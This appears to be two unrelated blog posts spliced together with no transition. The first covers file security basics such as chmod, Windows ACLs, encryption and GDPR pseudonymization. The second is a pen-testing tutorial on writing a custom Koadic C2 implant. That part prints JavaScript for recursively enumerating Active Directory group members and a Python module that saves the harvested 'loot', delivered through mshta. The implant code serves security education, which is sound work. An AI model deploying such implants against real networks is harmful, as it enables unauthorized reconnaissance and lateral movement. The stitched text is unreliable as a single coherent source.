Data security is an all-encompassing term. It covers processes and technologies for protecting files, databases, applications, user accounts, servers, network logins, and the network itself. But if you drill down a little in your thinking, it’s easy to see that data security is ultimately protecting a file somewhere on your system—whether desktops or servers. While data security is a good umbrella term, we need to get into more details to understand file security.

File Security and Permissions

As Microsoft reminds us, files (and folders or directories) are securable objects.They have access or permission rights for controlling who can read, write, delete, or execute at a very granular level through Access Control Lists (ACLs).  And in Linux world, we have a similar, although far less granular, system of permissioning.

Why have the concept of permissions in the first place?

Think of an enterprise computing environment as a semi-public place – you’re sharing a data space with not just anyone, but other employees. So a file is not the equivalent of box with a lock preventing anyone from accessing who doesn’t have a combination or key. Well, there is encryption, but we’ll cover that below. Instead the assumption in a Windows or Linux or other operating system environment is that you want to share resources.

The operating systems file system permission are there to provide a broad way to limit what can be done. For example, I want workers in another group to read our presentations, but I certainly don’t want them to edit. In that case, we’d specify – to be shown below – read and write permission for users who belong to group, and just read permission for everyone else.

In the Beginning, There Was Unix-Linux Permissions

Let’s look at a very simple permissioning system. It’s the classic Unix-Linux model, which provides basic read-write-execute permissions and a very simply method of deciding who these permissions apply to. It’s called the user-group-other model. Effectively, it divides the user community into three classes: the owner of the file (user), all those users belonging to groups that the owner is a member of (group), and finally everyone else (other). You can see this permission structure when you run an ls –l command:

How do you specify a permission to add or subtract from a user-group-other? There’s the Linux chmod command. Suppose I decided that I’d like other users in groups I belong to have access to my-stuff-2. doc file, which  I had  been keeping private. I could do this:

chmod g+r my-stuff-2.doc

Or now I want to take back and make private the presentation-secret.doc file, which I had allowed other groups to view and update:

chmod g-rw secret-presentation.doc

The Unix-Linux permission model is simple and well-suited for server security, where there are system-level applications accessed by a few privileged users. It is not meant for a general user environment. For that you’ll need ACLs.

What are Access Control Lists?

Windows has a far more complex permissioning system than Linux. It allows users to define a permission for any Active Directory user or group, which is represented internally by an unique number known as a SID (security identifier). WIndows ACLs consist of a SID and another number representing the associated permission — read, write, execute, and more. This is called an  access mask The SID and the mask together are referred to as an access control entry or ACE.

We’ve all seen the user-friendly representation of the ACE when we view a file or folder’s properties:

Obviously, ACLs can make permissioning quite complex. In theory, you can have ACEs for each user that needs to access a file or folder. No, you shouldn’t do that! Instead, there’s the preferred method of assigning users to a group and then combining all those groups that need access to a folder into a larger group. This umbrella group is then used in the ACL. I’ve just described something called AGLP for Account, Global, Local Permissioning, which is Windows approved method for efficient file and folder permissioning.

So if an employee moves to another project (or leaves the company) and therefore no longer needs access, you simply remove that user from the Active Directory group without having to adjust the ACE in the specific folder or file.

Easy peasy in terms of file security management. And a sensible way to reduce security risks in an enterprise computing environment.

And Along Came File Encryption

If you’re paranoid, there is encryption, which is certainly a valid, if extreme technique,  for solving the issues of file security. It may be safe, but certainly a very impractical solution to securing file data. Windows supports encryption, and you can turn it on selectively for folders.

Technically, Windows use both asymmetric and symmetric encryption. The asymmetric part decrypts the symmetric key that does the actual block encryption/decryption of the file. The user has access to the private part of the asymmetric key pair that gets the whole process started. And only the owner of the folder can see the unencrypted files.

Obviously, with one user in control of the encryption, this does not lend itself to allowing multiple users to share access to files and folders. Add on that the potential for losing access to the asymmetric encryption key, which is kept in a certificate, and you can have a self-made ransomware attack on your hands. And yes, you should backup encryption certificates!

As we’ve been saying all along, the file system is where employees keep and share the content (spreadsheets, documents, presentations) that they’re working on now. It’s their virtual desks, and adding a layer of encryption is liking moving things around and making their desk even sloppier — no one likes that! —  as well as being administratively difficult to manage.

Pseudonymization: Selective File Encryption

And this brings us to pseudonymization.

It’s a GDPR-approved technique for encoding personal data in order to reduce some of the burdens of this law.

The idea is to replace personal identifiers with a random code. It’s the same idea behind writers using pseudonyms to hide their identities. The GDPR says you can do this on a larger scale as a way to lessen some of the GDPR requirements.

Generally, there would have to be an intake system that would process the raw data identifiers and convert them to these special codes. And there would have to be a master table that maps the codes back into the real identifiers for those processes that need the original information.

Using this approach, employees could then work with pseudonymized files in which the identities of the data subjects would be hidden. The rest of the file, of course, would be readable.

Partial encryption is perhaps one way to think about this technique.

Like encryption, pseudonymization is considered a security protection measure (see the GDPR’s article 32) and it’s also explicitly mentioned as a “data by protection by design and by default” or PbD technique (see article 25). It’s also considered a personal data minimization technique — very important to the GDPR.

Will pseudonymization spread beyond the EU’s GDPR and be adopted by the US in its own coming data privacy and security law?  We will see!

Best File Security Practices

Enterprise computing environments are designed to help employees get their work done. Sure there are built-from-the-ground-up secure operating systems, but they’re meant for top-secret government projects (or whatever Apple is working on next). For the rest of us, we have to learn to work with existing commercial operating systems, and find ways to minimize the risks of data security lapses.

Here are three easy-to-implement tips for boosting your file system security.

1. Eliminate Everyone – The default Everyone group in Windows gives global access to a folder or file. You would think that companies would make sure to remove this group from a folder’s ACL. But in our most recent annual Data Risk Report, we’ve discovered that 58% of companies we sampled had over 100,00 folders open to every employee! Sure you’ll need to grant Everyone if you’re sharing the folder over the network, but make sure to remove from it from ACL and then do the following RBAC analysis .
2. Roll Your Own Role-based Access Controls (RBAC) – Everyone has a job or role in an organization, and each role has with it an associated set of access permissions to resources.  Naturally, you assign similar roles to the same group, and then apply to them the appropriate permissions, and then  follow AGLP method from above. When implemented correctly, this should be easy to maintain while reducing security risks. Yes, this does require more than a little administrative overhead to maintain.
3. Minimal Least Privilege Permission – This is related to RBAC, but it involves focusing particularly on “appropriate” permission. WIth the least privilege model, you pare down access to the minimum that is needed for the role. Marketing may need read access to a folder controlled by the finance department, but they shouldn’t be allowed to update a file or perhaps run some special financial software. Administrators need to be ruthlessly stingy when granting permissions with this approach.

I lied. These tips are super-easy to understand, but not super-easy to implement! You’ll need some help …

We just happen to have a solution that will make these great tips easier to put into practice.

 

 

One of the benefits of working with Koadic is that you too can try your hand at making enhancements. The Python environment with its nicely organized directory structures lends itself to being tweaked. And if you want to take the ultimate jump, you can add your own implants.

The way to think about Koadic is that it’s a C2 server that lets you deliver JavaScript malware implants to the target and then interact with them from the comfort of your console.

Sure there’s a learning curve to understanding the way the code really ticks. But I can save you hours of research and frustration: each implant has two sides, a Python shell (found in the implant/modules directory) and the actual JavaScript (located in a parallel implant/data directory).

To add a new implant, you need to code up these two parts. And that’s all you need to know. Not quite. I’ll get into some more details below.

So what would be a useful implant to aim for?

Having already experienced the power of PowerView, the PowerShell pen-testing library for querying Active Directory, I decided to add an implant to list AD members for a given group. It seemed like something I can do over a few afternoons, provided I had enough caffeine.

Active Directory Group Members a la Koadic

As I’ve been saying in my various blog series, pen testers have to think and act like hackers in order to effectively probe defenses. A lot of post-exploitation work is learning about the IT landscape. As we saw with PowerView, enumerating users within groups is a very good first step in planning a lateral move.

If you’ve never coded the JavaScript to access Active Directory, you’ll find oodles of online examples on how to set up a connection to a data source using the ADODB object — for example this tutorial. The trickiest part is fine tuning the search criteria.

You can either use SQL-like statements, or else learn the more complex LDAP filter syntax. At this point, it’s probably best to look at the code I cobbled together to do an extended search of an AD group.

objConnection = new ActiveXObject("ADODB.Connection");
objConnection.Provider="ADsDSOObject";
objConnection.Open("Active Directory Provider");
objCommand = new ActiveXObject( "ADODB.Command");


Koadic.work.report("Gathering users ...");
strDom = "<LDAP://"+strDomain+">";
strFilter = "(&(objectCategory=person)(objectClass=user)(memberOf=cn=~GROUP~,cn=Users,"+strDomain+"))";  //Koadic replaces ~GROUP~ with info field
strAttributes = "ADsPath";

strQuery = strDom + ";" + strFilter + ";" + strAttributes + ";Subtree";

objCommand.CommandText=strQuery;

objRecordSet = objCommand.Execute();
objRecordSet.Movefirst;
user_str="";
while(!(objRecordSet.EoF)) {

  user_str +=objRecordSet.Fields("ADsPath").value;
  user_str +="\n";
  objRecordSet.MoveNext;
}
Koadic.work.report(user_str);
Koadic.work.report("...Complete");

I wanted to enumerate the users found in all the underlying subgroups. For example, in searching Domain Admins, the query shouldn’t stop at the first level. The “Subtree” parameter above does the trick. I didn’t have the SQL smarts to work this out in a single “select” statement, so the LDAP filters were the way to go in my case.

I tested the JavaScript independently of Koadic, and it worked fine. Victory!

There’s a small point about how to return the results to the C2 console. Koadic solves this nicely through its own JS support functions. There’s a set of these that lets you collect output from the JavaScript and then deliver it over a special encrypted channel. You can see me doing that with the Koadic.work.report function, which I added to the original JavaScript code.

And this leads nicely to the Python code — technically the client part of the C2 server. For this, I copied and adjusted from an existing Koadic implant, which I’m calling enum_adusers. You can view a part of my implant below.

import core.implant
import uuid

class ADUsersJob(core.job.Job):
    def done(self):
        self.display()
    def display(self):
        if len(self.data.splitlines()) > 10:
            self.shell.print_plain("Lots of users! Only printing first 10 lines...")
            self.shell.print_plain("\n".join(self.data.splitlines()[:10]))
            save_file = "/tmp/loot."+self.session.ip+"."+uuid.uuid4().hex
            with open(save_file, "w") as f:
              f.write(self.data)
            self.shell.print_good("Saved loot list to "+save_file)
        else:
            self.shell.print_plain(self.data)

To display the output sent by the JavaScript side of the implant to the console, I use some of the Python support provided by Koadic’s shell class, in particular the print methods. Under the hood, Koadic is scooping up the data sent by the JavaScript code’s report function, and displaying it to the console.

By the way, Koadic conveniently allows you to reload modules on the fly without having to restart everything! I can tweak my code and use the “load” command in the Koadic console to activate the updates.

I went into detail about all this, partially to inspire you to roll your own implants. But also to make another point. The underlying techniques that Koadic relies on —  rundll32 and mshta — have been known about by hackers for years. What Koadic does is make all this hacking wisdom available to pen testers in a very flexible and relatively simple programming environment.

Some Pen Testing Wisdom

Once you get comfortable with Koadic, you can devise your own implants, quickly test them, and get to the more important goal of pen testing — finding and exploring security weaknesses

Let’s say I’m really impressed by what Sean and Zach have wrought, and Koadic has certainly sped up my understanding of the whole testing process.

For example, a funny happened when I first went to try my enum_adusers implant. It failed with an error message reading something like this,“ Settings on this computer prohibit accessing a data source on another domain.”

I was a little surprised.

If you do some googling you’ll learn that Windows Internet security controls has a special setting to allow browser scripts to access data sources. And in my AWS testing environment, the Amazon overlords wisely made sure that this was disabled for my server instance, which, it should be noted, is certainly not a desktop environment. I turned it on just to get my implant to pull in AD users to work.

Why was the JavaScript I coded for the Koadic implant being treated as if it were a browser-based script, and therefore blocked from making the connection to Active Directory?

Well, because technically it is running in a browser! As I mentioned last time, the Koadic scripts are actually executed by mshta, which is Microsoft’s legacy product for letting you leverage HTML for internal business apps.

The real pen testing wisdom I gained is that if this particular script runs, it means that the remote data source security control is enabled, which is not a good thing, even and perhaps especially on a server.

Next time, I’ll be wrapping up this series, and talk about defending against the kinds of attacks that Koadic represents — stealthy script-based malware.